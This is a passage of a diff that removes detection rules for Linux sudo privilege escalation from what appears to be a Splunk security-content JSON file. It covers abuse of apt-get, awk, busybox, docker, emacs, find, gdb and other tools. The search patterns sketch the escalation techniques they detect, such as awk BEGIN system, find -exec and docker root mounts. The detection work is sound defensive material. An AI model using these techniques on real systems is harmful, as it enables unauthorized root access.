"Turla" - ] - } - ] - } } ], "external_reference": [ @@ -145887,2084 +124731,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Linux apt-get Privilege Escalation", - "description": "The following analytic detects the execution of the 'apt-get' command with elevated privileges using 'sudo' on a Linux system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it indicates a user may be attempting to escalate privileges to root, which could lead to unauthorized system control. If confirmed malicious, an attacker could gain root access, allowing them to execute arbitrary commands, install or remove software, and potentially compromise the entire system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*apt-get*\" AND Processes.process=\"*APT::Update::Pre-Invoke::*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_apt_get_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux APT Privilege Escalation", - "description": "The following analytic detects the use of the Advanced Package Tool (APT) with elevated privileges via sudo on Linux systems. It leverages Endpoint Detection and Response (EDR) telemetry to identify processes where APT commands are executed with sudo rights. This activity is significant because it indicates a user can run system commands as root, potentially leading to unauthorized root shell access. If confirmed malicious, this could allow an attacker to escalate privileges, execute arbitrary commands, and gain full control over the affected system, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*apt*\" AND Processes.process=\"*APT::Update::Pre-Invoke::*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_apt_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux AWK Privilege Escalation", - "description": "The following analytic detects the use of the AWK command with elevated privileges to execute system commands. It leverages Endpoint Detection and Response (EDR) telemetry, specifically monitoring processes that include \"sudo,\" \"awk,\" and \"BEGIN*system\" in their command lines. This activity is significant because it indicates a potential privilege escalation attempt, where a user could gain root access by executing commands as the root user. If confirmed malicious, this could allow an attacker to fully compromise the system, execute arbitrary commands, and maintain persistent control over the affected endpoint.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*sudo*\" AND Processes.process=\"*awk*\" AND Processes.process=\"*BEGIN*system*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_awk_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Busybox Privilege Escalation", - "description": "The following analytic detects the execution of BusyBox with sudo privileges, which can lead to privilege escalation on Linux systems. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where BusyBox is executed with both 'sh' and 'sudo' commands. This activity is significant because it indicates a user may be attempting to gain root access, bypassing standard security controls. If confirmed malicious, this could allow an attacker to execute arbitrary commands as root, leading to full system compromise and potential persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*busybox*\" AND Processes.process=\"*sh*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_busybox_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux c89 Privilege Escalation", - "description": "The following analytic detects the execution of the 'c89' command with elevated privileges, which can be used to compile and execute C programs as root. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events that include command-line arguments. This activity is significant because it indicates a potential privilege escalation attempt, allowing a user to execute arbitrary commands as root. If confirmed malicious, this could lead to full system compromise, enabling the attacker to gain root access and execute any command with elevated privileges.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*c89*\" AND Processes.process=\"*-wrapper*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_c89_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux c99 Privilege Escalation", - "description": "The following analytic detects the execution of the c99 utility with sudo privileges, which can lead to privilege escalation on Linux systems. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it indicates a potential misuse of the c99 utility to gain root access, which is critical for maintaining system security. If confirmed malicious, this could allow an attacker to execute commands as root, potentially compromising the entire system and accessing sensitive information.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*c99*\" AND Processes.process=\"*-wrapper*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_c99_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Composer Privilege Escalation", - "description": "The following analytic detects the execution of the Composer tool with elevated privileges on a Linux system. It identifies instances where Composer is run with the 'sudo' command, allowing the user to execute system commands as root. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. This activity is significant because it can indicate an attempt to escalate privileges, potentially leading to unauthorized root access. If confirmed malicious, an attacker could gain full control over the system, execute arbitrary commands, and compromise sensitive data.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*composer*\" AND Processes.process=\"*run-script*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_composer_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Cpulimit Privilege Escalation", - "description": "The following analytic detects the use of the 'cpulimit' command with specific flags ('-l', '-f') executed with 'sudo' privileges. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process command-line arguments and execution details. This activity is significant because if 'cpulimit' is granted sudo rights, a user can potentially execute system commands as root, leading to privilege escalation. If confirmed malicious, this could allow an attacker to gain root access, execute arbitrary commands, and fully compromise the affected system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*cpulimit*\" AND Processes.process=\"*-l*\" AND Processes.process=\"*-f*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_cpulimit_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 20, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Csvtool Privilege Escalation", - "description": "The following analytic detects the execution of the 'csvtool' command with 'sudo' privileges, which can allow a user to run system commands as root. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it indicates a potential privilege escalation attempt, where a user could gain unauthorized root access. If confirmed malicious, this could lead to full system compromise, allowing an attacker to execute arbitrary commands, escalate privileges, and maintain persistent access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*csvtool*\" AND Processes.process=\"*call*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_csvtool_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Doas Conf File Creation", - "description": "The following analytic detects the creation of the doas.conf file on a Linux host. This file is used by the doas utility to allow standard users to perform tasks as root, similar to sudo. The detection leverages filesystem data from the Endpoint data model, focusing on the creation of the doas.conf file. This activity is significant because it can indicate an attempt to gain elevated privileges, potentially by an adversary. If confirmed malicious, this could allow an attacker to execute commands with root privileges, leading to full system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*/etc/doas.conf\") by Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_doas_conf_file_creation_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A file $file_name$ is created in $file_path$ on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Doas Tool Execution", - "description": "The following analytic detects the execution of the 'doas' tool on a Linux host. This tool allows standard users to perform tasks with root privileges, similar to 'sudo'. The detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as 'doas' can be exploited by adversaries to gain elevated privileges on a compromised host. If confirmed malicious, this could lead to unauthorized administrative access, potentially compromising the entire system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"doas\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_doas_tool_execution_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A doas $process_name$ with commandline $process$ was executed on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Docker Privilege Escalation", - "description": "The following analytic detects attempts to escalate privileges on a Linux system using Docker. It identifies processes where Docker commands are used to mount the root directory or execute shell commands within a container. This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process names, command-line arguments, and parent processes. This activity is significant because it can allow an attacker with Docker privileges to modify critical system files, such as /etc/passwd, to create a superuser. If confirmed malicious, this could lead to full system compromise and persistent unauthorized access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN(\"*docker*-v*/*:*\",\"*docker*--volume*/*:*\") OR Processes.process IN(\"*docker*exec*sh*\",\"*docker*exec*bash*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_docker_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 5, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Emacs Privilege Escalation", - "description": "The following analytic detects the execution of Emacs with elevated privileges using the `sudo` command and the `--eval` option. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line arguments. This activity is significant because it indicates a potential privilege escalation attempt, where a user could gain root access by running Emacs with elevated permissions. If confirmed malicious, this could allow an attacker to execute arbitrary commands as root, leading to full system compromise and unauthorized access to sensitive information.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*emacs*\" AND Processes.process=\"*--eval*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_emacs_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 20, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Find Privilege Escalation", - "description": "The following analytic detects the use of the 'find' command with 'sudo' and '-exec' options, which can indicate an attempt to escalate privileges on a Linux system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line arguments. This activity is significant because it can allow a user to execute system commands as root, potentially leading to a root shell. If confirmed malicious, this could enable an attacker to gain full control over the system, leading to severe security breaches and unauthorized access to sensitive data.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*find*\" AND Processes.process=\"*-exec*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_find_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 5, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux GDB Privilege Escalation", - "description": "The following analytic detects the execution of the GNU Debugger (GDB) with specific flags that indicate an attempt to escalate privileges on a Linux system. It leverages Endpoint Detection and Response (EDR) telemetry to identify processes where GDB is run with the `-nx`, `-ex`, and `sudo` flags. This activity is significant because it can allow a user to execute system commands as root, potentially leading to a root shell. If confirmed malicious, this could result in full system compromise, allowing an attacker to gain complete control over the affected endpoint.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*gdb*\" AND Processes.process=\"*-nx*\" AND Processes.process=\"*-ex*!*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_gdb_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Gem Privilege Escalation", - "description": "The following analytic detects the execution of the RubyGems utility with elevated privileges, specifically when it is used to run system commands as root. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that include \"gem open -e\" and \"sudo\". This activity is significant because it indicates a 